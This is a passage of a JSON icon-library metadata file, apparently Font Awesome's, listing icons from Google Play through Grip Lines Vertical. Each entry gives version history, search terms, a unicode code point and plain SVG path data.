-5.36,40.51-15.93.88-.89,1.76-1.79,2.65-2.68A54.45,54.45,0,0,0,382.25,158.26Zm-16.58,62.23a30.65,30.65,0,0,1-23.34,9.68H302.7V165h39.63a32,32,0,0,1,22.6,9.23A33.18,33.18,0,0,1,365.67,220.49ZM614.31,201,577.77,292.7h-.45L539.9,201H514.21L566,320.55l-29.35,64.32H561L640,201Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M105.72,215v41.25h57.1a49.66,49.66,0,0,1-21.14,32.6c-9.54,6.55-21.72,10.28-36,10.28-27.6,0-50.93-18.91-59.3-44.22a65.61,65.61,0,0,1,0-41l0,0c8.37-25.46,31.7-44.37,59.3-44.37a56.43,56.43,0,0,1,40.51,16.08L176.47,155a101.24,101.24,0,0,0-70.75-27.84,105.55,105.55,0,0,0-94.38,59.11,107.64,107.64,0,0,0,0,96.18v.15a105.41,105.41,0,0,0,94.38,59c28.47,0,52.55-9.53,70-25.91,20-18.61,31.41-46.15,31.41-78.91A133.76,133.76,0,0,0,205.38,215Zm389.41-4c-10.13-9.38-23.93-14.14-41.39-14.14-22.46,0-39.34,8.34-50.5,24.86l20.85,13.26q11.45-17,31.26-17a34.05,34.05,0,0,1,22.75,8.79A28.14,28.14,0,0,1,487.79,248v5.51c-9.1-5.07-20.55-7.75-34.64-7.75-16.44,0-29.65,3.88-39.49,11.77s-14.82,18.31-14.82,31.56a39.74,39.74,0,0,0,13.94,31.27c9.25,8.34,21,12.51,34.79,12.51,16.29,0,29.21-7.3,39-21.89h1v17.72h22.61V250C510.25,233.45,505.26,220.34,495.13,211ZM475.9,300.3a37.32,37.32,0,0,1-26.57,11.16A28.61,28.61,0,0,1,431,305.21a19.41,19.41,0,0,1-7.77-15.63c0-7,3.22-12.81,9.54-17.42s14.53-7,24.07-7C470,265,480.3,268,487.64,273.94,487.64,284.07,483.68,292.85,475.9,300.3Zm-93.65-142A55.71,55.71,0,0,0,341.74,142H279.07V328.74H302.7V253.1h39c16,0,29.5-5.36,40.51-15.93.88-.89,1.76-1.79,2.65-2.68A54.45,54.45,0,0,0,382.25,158.26Zm-16.58,62.23a30.65,30.65,0,0,1-23.34,9.68H302.7V165h39.63a32,32,0,0,1,22.6,9.23A33.18,33.18,0,0,1,365.67,220.49ZM614.31,201,577.77,292.7h-.45L539.9,201H514.21L566,320.55l-29.35,64.32H561L640,201Z"
      }
    },
    "free": ["brands"]
  },
  "google-play": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ab",
    "label": "Google Play",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M325.3 234.3L104.6 13l280.8 161.2-60.1 60.1zM47 0C34 6.8 25.3 19.2 25.3 35.3v441.3c0 16.1 8.7 28.5 21.7 35.3l256.6-256L47 0zm425.2 225.6l-58.9-34.1-65.7 64.5 65.7 64.5 60.1-34.1c18-14.3 18-46.5-1.2-60.8zM104.6 499l280.8-161.2-60.1-60.1L104.6 499z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M325.3 234.3L104.6 13l280.8 161.2-60.1 60.1zM47 0C34 6.8 25.3 19.2 25.3 35.3v441.3c0 16.1 8.7 28.5 21.7 35.3l256.6-256L47 0zm425.2 225.6l-58.9-34.1-65.7 64.5 65.7 64.5 60.1-34.1c18-14.3 18-46.5-1.2-60.8zM104.6 499l280.8-161.2-60.1-60.1L104.6 499z"
      }
    },
    "free": ["brands"]
  },
  "google-plus": {
    "changes": ["4.6.0", "5.0.0", "5.13.1"],
    "ligatures": [],
    "search": {
      "terms": ["google-plus-circle", "google-plus-official"]
    },
    "styles": ["brands"],
    "unicode": "f2b3",
    "label": "Google Plus",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256,8C119.1,8,8,119.1,8,256S119.1,504,256,504,504,392.9,504,256,392.9,8,256,8ZM185.3,380a124,124,0,0,1,0-248c31.3,0,60.1,11,83,32.3l-33.6,32.6c-13.2-12.9-31.3-19.1-49.4-19.1-42.9,0-77.2,35.5-77.2,78.1S142.3,334,185.3,334c32.6,0,64.9-19.1,70.1-53.3H185.3V238.1H302.2a109.2,109.2,0,0,1,1.9,20.7c0,70.8-47.5,121.2-118.8,121.2ZM415.5,273.8v35.5H380V273.8H344.5V238.3H380V202.8h35.5v35.5h35.2v35.5Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256,8C119.1,8,8,119.1,8,256S119.1,504,256,504,504,392.9,504,256,392.9,8,256,8ZM185.3,380a124,124,0,0,1,0-248c31.3,0,60.1,11,83,32.3l-33.6,32.6c-13.2-12.9-31.3-19.1-49.4-19.1-42.9,0-77.2,35.5-77.2,78.1S142.3,334,185.3,334c32.6,0,64.9-19.1,70.1-53.3H185.3V238.1H302.2a109.2,109.2,0,0,1,1.9,20.7c0,70.8-47.5,121.2-118.8,121.2ZM415.5,273.8v35.5H380V273.8H344.5V238.3H380V202.8h35.5v35.5h35.2v35.5Z"
      }
    },
    "free": ["brands"]
  },
  "google-plus-g": {
    "changes": ["2.0.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["google-plus", "social network"]
    },
    "styles": ["brands"],
    "unicode": "f0d5",
    "label": "Google Plus G",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M386.061 228.496c1.834 9.692 3.143 19.384 3.143 31.956C389.204 370.205 315.599 448 204.8 448c-106.084 0-192-85.915-192-192s85.916-192 192-192c51.864 0 95.083 18.859 128.611 50.292l-52.126 50.03c-14.145-13.621-39.028-29.599-76.485-29.599-65.484 0-118.92 54.221-118.92 121.277 0 67.056 53.436 121.277 118.92 121.277 75.961 0 104.513-54.745 108.965-82.773H204.8v-66.009h181.261zm185.406 6.437V179.2h-56.001v55.733h-55.733v56.001h55.733v55.733h56.001v-55.733H627.2v-56.001h-55.733z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M386.061 228.496c1.834 9.692 3.143 19.384 3.143 31.956C389.204 370.205 315.599 448 204.8 448c-106.084 0-192-85.915-192-192s85.916-192 192-192c51.864 0 95.083 18.859 128.611 50.292l-52.126 50.03c-14.145-13.621-39.028-29.599-76.485-29.599-65.484 0-118.92 54.221-118.92 121.277 0 67.056 53.436 121.277 118.92 121.277 75.961 0 104.513-54.745 108.965-82.773H204.8v-66.009h181.261zm185.406 6.437V179.2h-56.001v55.733h-55.733v56.001h55.733v55.733h56.001v-55.733H627.2v-56.001h-55.733z"
      }
    },
    "free": ["brands"]
  },
  "google-wallet": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1ee",
    "label": "Google Wallet",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M156.8 126.8c37.6 60.6 64.2 113.1 84.3 162.5-8.3 33.8-18.8 66.5-31.3 98.3-13.2-52.3-26.5-101.3-56-148.5 6.5-36.4 2.3-73.6 3-112.3zM109.3 200H16.1c-6.5 0-10.5 7.5-6.5 12.7C51.8 267 81.3 330.5 101.3 400h103.5c-16.2-69.7-38.7-133.7-82.5-193.5-3-4-8-6.5-13-6.5zm47.8-88c68.5 108 130 234.5 138.2 368H409c-12-138-68.4-265-143.2-368H157.1zm251.8-68.5c-1.8-6.8-8.2-11.5-15.2-11.5h-88.3c-5.3 0-9 5-7.8 10.3 13.2 46.5 22.3 95.5 26.5 146 48.2 86.2 79.7 178.3 90.6 270.8 15.8-60.5 25.3-133.5 25.3-203 0-73.6-12.1-145.1-31.1-212.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M156.8 126.8c37.6 60.6 64.2 113.1 84.3 162.5-8.3 33.8-18.8 66.5-31.3 98.3-13.2-52.3-26.5-101.3-56-148.5 6.5-36.4 2.3-73.6 3-112.3zM109.3 200H16.1c-6.5 0-10.5 7.5-6.5 12.7C51.8 267 81.3 330.5 101.3 400h103.5c-16.2-69.7-38.7-133.7-82.5-193.5-3-4-8-6.5-13-6.5zm47.8-88c68.5 108 130 234.5 138.2 368H409c-12-138-68.4-265-143.2-368H157.1zm251.8-68.5c-1.8-6.8-8.2-11.5-15.2-11.5h-88.3c-5.3 0-9 5-7.8 10.3 13.2 46.5 22.3 95.5 26.5 146 48.2 86.2 79.7 178.3 90.6 270.8 15.8-60.5 25.3-133.5 25.3-203 0-73.6-12.1-145.1-31.1-212.6z"
      }
    },
    "free": ["brands"]
  },
  "gopuram": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f664"]
      }
    },
    "changes": [
      "5.3.0",
      "5.7.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["building", "entrance", "hinduism", "temple", "tower"]
    },
    "styles": ["solid"],
    "unicode": "f664",
    "label": "Gopuram",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M120 0c13.3 0 24 10.7 24 24v8h40V24c0-13.3 10.7-24 24-24s24 10.7 24 24v8h48V24c0-13.3 10.7-24 24-24s24 10.7 24 24v8h40V24c0-13.3 10.7-24 24-24s24 10.7 24 24v8V64v64c17.7 0 32 14.3 32 32v64c17.7 0 32 14.3 32 32v96c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H416V352H384V224H352V128H320v96h32V352h32V512H304V464c0-26.5-21.5-48-48-48s-48 21.5-48 48v48H128V352h32V224h32V128H160v96H128V352H96V512H32c-17.7 0-32-14.3-32-32V384c0-17.7 14.3-32 32-32V256c0-17.7 14.3-32 32-32V160c0-17.7 14.3-32 32-32V64 32 24c0-13.3 10.7-24 24-24zM256 272c-17.7 0-32 14.3-32 32v48h64V304c0-17.7-14.3-32-32-32zm-32-80v32h64V192c0-17.7-14.3-32-32-32s-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M120 0c13.3 0 24 10.7 24 24v8h40V24c0-13.3 10.7-24 24-24s24 10.7 24 24v8h48V24c0-13.3 10.7-24 24-24s24 10.7 24 24v8h40V24c0-13.3 10.7-24 24-24s24 10.7 24 24v8V64v64c17.7 0 32 14.3 32 32v64c17.7 0 32 14.3 32 32v96c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H416V352H384V224H352V128H320v96h32V352h32V512H304V464c0-26.5-21.5-48-48-48s-48 21.5-48 48v48H128V352h32V224h32V128H160v96H128V352H96V512H32c-17.7 0-32-14.3-32-32V384c0-17.7 14.3-32 32-32V256c0-17.7 14.3-32 32-32V160c0-17.7 14.3-32 32-32V64 32 24c0-13.3 10.7-24 24-24zM256 272c-17.7 0-32 14.3-32 32v48h64V304c0-17.7-14.3-32-32-32zm-32-80v32h64V192c0-17.7-14.3-32-32-32s-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "graduation-cap": {
    "aliases": {
      "names": ["mortar-board"],
      "unicodes": {
        "composite": ["1f393"],
        "secondary": ["10f19d"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.2.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cap",
        "celebration",
        "ceremony",
        "clothing",
        "college",
        "graduate",
        "graduation",
        "graduation cap",
        "hat",
        "learning",
        "school",
        "student"
      ]
    },
    "styles": ["solid"],
    "unicode": "f19d",
    "label": "Graduation Cap",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 32c-8.1 0-16.1 1.4-23.7 4.1L15.8 137.4C6.3 140.9 0 149.9 0 160s6.3 19.1 15.8 22.6l57.9 20.9C57.3 229.3 48 259.8 48 291.9v28.1c0 28.4-10.8 57.7-22.3 80.8c-6.5 13-13.9 25.8-22.5 37.6C0 442.7-.9 448.3 .9 453.4s6 8.9 11.2 10.2l64 16c4.2 1.1 8.7 .3 12.4-2s6.3-6.1 7.1-10.4c8.6-42.8 4.3-81.2-2.1-108.7C90.3 344.3 86 329.8 80 316.5V291.9c0-30.2 10.2-58.7 27.9-81.5c12.9-15.5 29.6-28 49.2-35.7l157-61.7c8.2-3.2 17.5 .8 20.7 9s-.8 17.5-9 20.7l-157 61.7c-12.4 4.9-23.3 12.4-32.2 21.6l159.6 57.6c7.6 2.7 15.6 4.1 23.7 4.1s16.1-1.4 23.7-4.1L624.2 182.6c9.5-3.4 15.8-12.5 15.8-22.6s-6.3-19.1-15.8-22.6L343.7 36.1C336.1 33.4 328.1 32 320 32zM128 408c0 35.3 86 72 192 72s192-36.7 192-72L496.7 262.6 354.5 314c-11.1 4-22.8 6-34.5 6s-23.5-2-34.5-6L143.3 262.6 128 408z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 32c-8.1 0-16.1 1.4-23.7 4.1L15.8 137.4C6.3 140.9 0 149.9 0 160s6.3 19.1 15.8 22.6l57.9 20.9C57.3 229.3 48 259.8 48 291.9v28.1c0 28.4-10.8 57.7-22.3 80.8c-6.5 13-13.9 25.8-22.5 37.6C0 442.7-.9 448.3 .9 453.4s6 8.9 11.2 10.2l64 16c4.2 1.1 8.7 .3 12.4-2s6.3-6.1 7.1-10.4c8.6-42.8 4.3-81.2-2.1-108.7C90.3 344.3 86 329.8 80 316.5V291.9c0-30.2 10.2-58.7 27.9-81.5c12.9-15.5 29.6-28 49.2-35.7l157-61.7c8.2-3.2 17.5 .8 20.7 9s-.8 17.5-9 20.7l-157 61.7c-12.4 4.9-23.3 12.4-32.2 21.6l159.6 57.6c7.6 2.7 15.6 4.1 23.7 4.1s16.1-1.4 23.7-4.1L624.2 182.6c9.5-3.4 15.8-12.5 15.8-22.6s-6.3-19.1-15.8-22.6L343.7 36.1C336.1 33.4 328.1 32 320 32zM128 408c0 35.3 86 72 192 72s192-36.7 192-72L496.7 262.6 354.5 314c-11.1 4-22.8 6-34.5 6s-23.5-2-34.5-6L143.3 262.6 128 408z"
      }
    },
    "free": ["solid"]
  },
  "gratipay": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["favorite", "heart", "like", "love"]
    },
    "styles": ["brands"],
    "unicode": "f184",
    "label": "Gratipay (Gittip)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm114.6 226.4l-113 152.7-112.7-152.7c-8.7-11.9-19.1-50.4 13.6-72 28.1-18.1 54.6-4.2 68.5 11.9 15.9 17.9 46.6 16.9 61.7 0 13.9-16.1 40.4-30 68.1-11.9 32.9 21.6 22.6 60 13.8 72z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm114.6 226.4l-113 152.7-112.7-152.7c-8.7-11.9-19.1-50.4 13.6-72 28.1-18.1 54.6-4.2 68.5 11.9 15.9 17.9 46.6 16.9 61.7 0 13.9-16.1 40.4-30 68.1-11.9 32.9 21.6 22.6 60 13.8 72z"
      }
    },
    "free": ["brands"]
  },
  "grav": {
    "changes": ["4.7.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2d6",
    "label": "Grav",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M301.1 212c4.4 4.4 4.4 11.9 0 16.3l-9.7 9.7c-4.4 4.7-11.9 4.7-16.6 0l-10.5-10.5c-4.4-4.7-4.4-11.9 0-16.6l9.7-9.7c4.4-4.4 11.9-4.4 16.6 0l10.5 10.8zm-30.2-19.7c3-3 3-7.8 0-10.5-2.8-3-7.5-3-10.5 0-2.8 2.8-2.8 7.5 0 10.5 3.1 2.8 7.8 2.8 10.5 0zm-26 5.3c-3 2.8-3 7.5 0 10.2 2.8 3 7.5 3 10.5 0 2.8-2.8 2.8-7.5 0-10.2-3-3-7.7-3-10.5 0zm72.5-13.3c-19.9-14.4-33.8-43.2-11.9-68.1 21.6-24.9 40.7-17.2 59.8.8 11.9 11.3 29.3 24.9 17.2 48.2-12.5 23.5-45.1 33.2-65.1 19.1zm47.7-44.5c-8.9-10-23.3 6.9-15.5 16.1 7.4 9 32.1 2.4 15.5-16.1zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-66.2 42.6c2.5-16.1-20.2-16.6-25.2-25.7-13.6-24.1-27.7-36.8-54.5-30.4 11.6-8 23.5-6.1 23.5-6.1.3-6.4 0-13-9.4-24.9 3.9-12.5.3-22.4.3-22.4 15.5-8.6 26.8-24.4 29.1-43.2 3.6-31-18.8-59.2-49.8-62.8-22.1-2.5-43.7 7.7-54.3 25.7-23.2 40.1 1.4 70.9 22.4 81.4-14.4-1.4-34.3-11.9-40.1-34.3-6.6-25.7 2.8-49.8 8.9-61.4 0 0-4.4-5.8-8-8.9 0 0-13.8 0-24.6 5.3 11.9-15.2 25.2-14.4 25.2-14.4 0-6.4-.6-14.9-3.6-21.6-5.4-11-23.8-12.9-31.7 2.8.1-.2.3-.4.4-.5-5 11.9-1.1 55.9 16.9 87.2-2.5 1.4-9.1 6.1-13 10-21.6 9.7-56.2 60.3-56.2 60.3-28.2 10.8-77.2 50.9-70.6 79.7.3 3 1.4 5.5 3 7.5-2.8 2.2-5.5 5-8.3 8.3-11.9 13.8-5.3 35.2 17.7 24.4 15.8-7.2 29.6-20.2 36.3-30.4 0 0-5.5-5-16.3-4.4 27.7-6.6 34.3-9.4 46.2-9.1 8 3.9 8-34.3 8-34.3 0-14.7-2.2-31-11.1-41.5 12.5 12.2 29.1 32.7 28 60.6-.8 18.3-15.2 23-15.2 23-9.1 16.6-43.2 65.9-30.4 106 0 0-9.7-14.9-10.2-22.1-17.4 19.4-46.5 52.3-24.6 64.5 26.6 14.7 108.8-88.6 126.2-142.3 34.6-20.8 55.4-47.3 63.9-65 22 43.5 95.3 94.5 101.1 59z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M301.1 212c4.4 4.4 4.4 11.9 0 16.3l-9.7 9.7c-4.4 4.7-11.9 4.7-16.6 0l-10.5-10.5c-4.4-4.7-4.4-11.9 0-16.6l9.7-9.7c4.4-4.4 11.9-4.4 16.6 0l10.5 10.8zm-30.2-19.7c3-3 3-7.8 0-10.5-2.8-3-7.5-3-10.5 0-2.8 2.8-2.8 7.5 0 10.5 3.1 2.8 7.8 2.8 10.5 0zm-26 5.3c-3 2.8-3 7.5 0 10.2 2.8 3 7.5 3 10.5 0 2.8-2.8 2.8-7.5 0-10.2-3-3-7.7-3-10.5 0zm72.5-13.3c-19.9-14.4-33.8-43.2-11.9-68.1 21.6-24.9 40.7-17.2 59.8.8 11.9 11.3 29.3 24.9 17.2 48.2-12.5 23.5-45.1 33.2-65.1 19.1zm47.7-44.5c-8.9-10-23.3 6.9-15.5 16.1 7.4 9 32.1 2.4 15.5-16.1zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-66.2 42.6c2.5-16.1-20.2-16.6-25.2-25.7-13.6-24.1-27.7-36.8-54.5-30.4 11.6-8 23.5-6.1 23.5-6.1.3-6.4 0-13-9.4-24.9 3.9-12.5.3-22.4.3-22.4 15.5-8.6 26.8-24.4 29.1-43.2 3.6-31-18.8-59.2-49.8-62.8-22.1-2.5-43.7 7.7-54.3 25.7-23.2 40.1 1.4 70.9 22.4 81.4-14.4-1.4-34.3-11.9-40.1-34.3-6.6-25.7 2.8-49.8 8.9-61.4 0 0-4.4-5.8-8-8.9 0 0-13.8 0-24.6 5.3 11.9-15.2 25.2-14.4 25.2-14.4 0-6.4-.6-14.9-3.6-21.6-5.4-11-23.8-12.9-31.7 2.8.1-.2.3-.4.4-.5-5 11.9-1.1 55.9 16.9 87.2-2.5 1.4-9.1 6.1-13 10-21.6 9.7-56.2 60.3-56.2 60.3-28.2 10.8-77.2 50.9-70.6 79.7.3 3 1.4 5.5 3 7.5-2.8 2.2-5.5 5-8.3 8.3-11.9 13.8-5.3 35.2 17.7 24.4 15.8-7.2 29.6-20.2 36.3-30.4 0 0-5.5-5-16.3-4.4 27.7-6.6 34.3-9.4 46.2-9.1 8 3.9 8-34.3 8-34.3 0-14.7-2.2-31-11.1-41.5 12.5 12.2 29.1 32.7 28 60.6-.8 18.3-15.2 23-15.2 23-9.1 16.6-43.2 65.9-30.4 106 0 0-9.7-14.9-10.2-22.1-17.4 19.4-46.5 52.3-24.6 64.5 26.6 14.7 108.8-88.6 126.2-142.3 34.6-20.8 55.4-47.3 63.9-65 22 43.5 95.3 94.5 101.1 59z"
      }
    },
    "free": ["brands"]
  },
  "greater-than": {
    "aliases": {
      "unicodes": {
        "composite": ["f531"],
        "primary": ["f531"],
        "secondary": ["103e", "10f531"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Greater-Than Sign", "arithmetic", "compare", "math"]
    },
    "styles": ["solid"],
    "unicode": "3e",
    "label": "Greater Than",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M3.4 81.7c-7.9 15.8-1.5 35 14.3 42.9L280.5 256 17.7 387.4C1.9 395.3-4.5 414.5 3.4 430.3s27.1 22.2 42.9 14.3l320-160c10.8-5.4 17.7-16.5 17.7-28.6s-6.8-23.2-17.7-28.6l-320-160c-15.8-7.9-35-1.5-42.9 14.3z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M3.4 81.7c-7.9 15.8-1.5 35 14.3 42.9L280.5 256 17.7 387.4C1.9 395.3-4.5 414.5 3.4 430.3s27.1 22.2 42.9 14.3l320-160c10.8-5.4 17.7-16.5 17.7-28.6s-6.8-23.2-17.7-28.6l-320-160c-15.8-7.9-35-1.5-42.9 14.3z"
      }
    },
    "free": ["solid"]
  },
  "greater-than-equal": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f532"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arithmetic", "compare", "math"]
    },
    "styles": ["solid"],
    "unicode": "f532",
    "label": "Greater Than Equal",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M52.1 93.7C35.7 87.1 27.7 68.5 34.3 52.1s25.2-24.4 41.6-17.8l320 128C408 167.1 416 178.9 416 192s-8 24.9-20.1 29.7l-320 128c-16.4 6.6-35-1.4-41.6-17.8s1.4-35 17.8-41.6L297.8 192 52.1 93.7zM416 416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M52.1 93.7C35.7 87.1 27.7 68.5 34.3 52.1s25.2-24.4 41.6-17.8l320 128C408 167.1 416 178.9 416 192s-8 24.9-20.1 29.7l-320 128c-16.4 6.6-35-1.4-41.6-17.8s1.4-35 17.8-41.6L297.8 192 52.1 93.7zM416 416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416z"
      }
    },
    "free": ["solid"]
  },
  "grip": {
    "aliases": {
      "names": ["grip-horizontal"],
      "unicodes": {
        "secondary": ["10f58d"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["affordance", "drag", "drop", "grab", "handle"]
    },
    "styles": ["solid"],
    "unicode": "f58d",
    "label": "Grip",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 136c0-22.1-17.9-40-40-40L40 96C17.9 96 0 113.9 0 136l0 48c0 22.1 17.9 40 40 40H88c22.1 0 40-17.9 40-40l0-48zm0 192c0-22.1-17.9-40-40-40H40c-22.1 0-40 17.9-40 40l0 48c0 22.1 17.9 40 40 40H88c22.1 0 40-17.9 40-40V328zm32-192v48c0 22.1 17.9 40 40 40h48c22.1 0 40-17.9 40-40V136c0-22.1-17.9-40-40-40l-48 0c-22.1 0-40 17.9-40 40zM288 328c0-22.1-17.9-40-40-40H200c-22.1 0-40 17.9-40 40l0 48c0 22.1 17.9 40 40 40h48c22.1 0 40-17.9 40-40V328zm32-192v48c0 22.1 17.9 40 40 40h48c22.1 0 40-17.9 40-40V136c0-22.1-17.9-40-40-40l-48 0c-22.1 0-40 17.9-40 40zM448 328c0-22.1-17.9-40-40-40H360c-22.1 0-40 17.9-40 40v48c0 22.1 17.9 40 40 40h48c22.1 0 40-17.9 40-40V328z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 136c0-22.1-17.9-40-40-40L40 96C17.9 96 0 113.9 0 136l0 48c0 22.1 17.9 40 40 40H88c22.1 0 40-17.9 40-40l0-48zm0 192c0-22.1-17.9-40-40-40H40c-22.1 0-40 17.9-40 40l0 48c0 22.1 17.9 40 40 40H88c22.1 0 40-17.9 40-40V328zm32-192v48c0 22.1 17.9 40 40 40h48c22.1 0 40-17.9 40-40V136c0-22.1-17.9-40-40-40l-48 0c-22.1 0-40 17.9-40 40zM288 328c0-22.1-17.9-40-40-40H200c-22.1 0-40 17.9-40 40l0 48c0 22.1 17.9 40 40 40h48c22.1 0 40-17.9 40-40V328zm32-192v48c0 22.1 17.9 40 40 40h48c22.1 0 40-17.9 40-40V136c0-22.1-17.9-40-40-40l-48 0c-22.1 0-40 17.9-40 40zM448 328c0-22.1-17.9-40-40-40H360c-22.1 0-40 17.9-40 40v48c0 22.1 17.9 40 40 40h48c22.1 0 40-17.9 40-40V328z"
      }
    },
    "free": ["solid"]
  },
  "grip-lines": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7a4"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["affordance", "drag", "drop", "grab", "handle"]
    },
    "styles": ["solid"],
    "unicode": "f7a4",
    "label": "Grip Lines",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 288c-17.7 0-32 14.3-32 32s14.3 32 32 32l384 0c17.7 0 32-14.3 32-32s-14.3-32-32-32L32 288zm0-128c-17.7 0-32 14.3-32 32s14.3 32 32 32l384 0c17.7 0 32-14.3 32-32s-14.3-32-32-32L32 160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 288c-17.7 0-32 14.3-32 32s14.3 32 32 32l384 0c17.7 0 32-14.3 32-32s-14.3-32-32-32L32 288zm0-128c-17.7 0-32 14.3-32 32s14.3 32 32 32l384 0c17.7 0 32-14.3 32-32s-14.3-32-32-32L32 160z"
      }
    },
    "free": ["solid"]
  },
  "grip-lines-vertical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7a5"]
      }
    },
    "changes": [
      "5.6.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["affordance", "drag", "drop", "grab", "handle"]
    },
    "styles": ["solid"],
    "unicode": "f7a5",
    "label": "Grip Lines Vertical",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 192 512\"><path d=\"M64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V64zm128 0c0-17.7-14.3-32-32-32s-32 14.3-32 32V448c0 17.7 14.3 32 32 32s32-14.3 32-32V64z\"/></svg>",
        "viewBox": [0, 0, 192, 512],
        "width": 192,
        "height": 512,
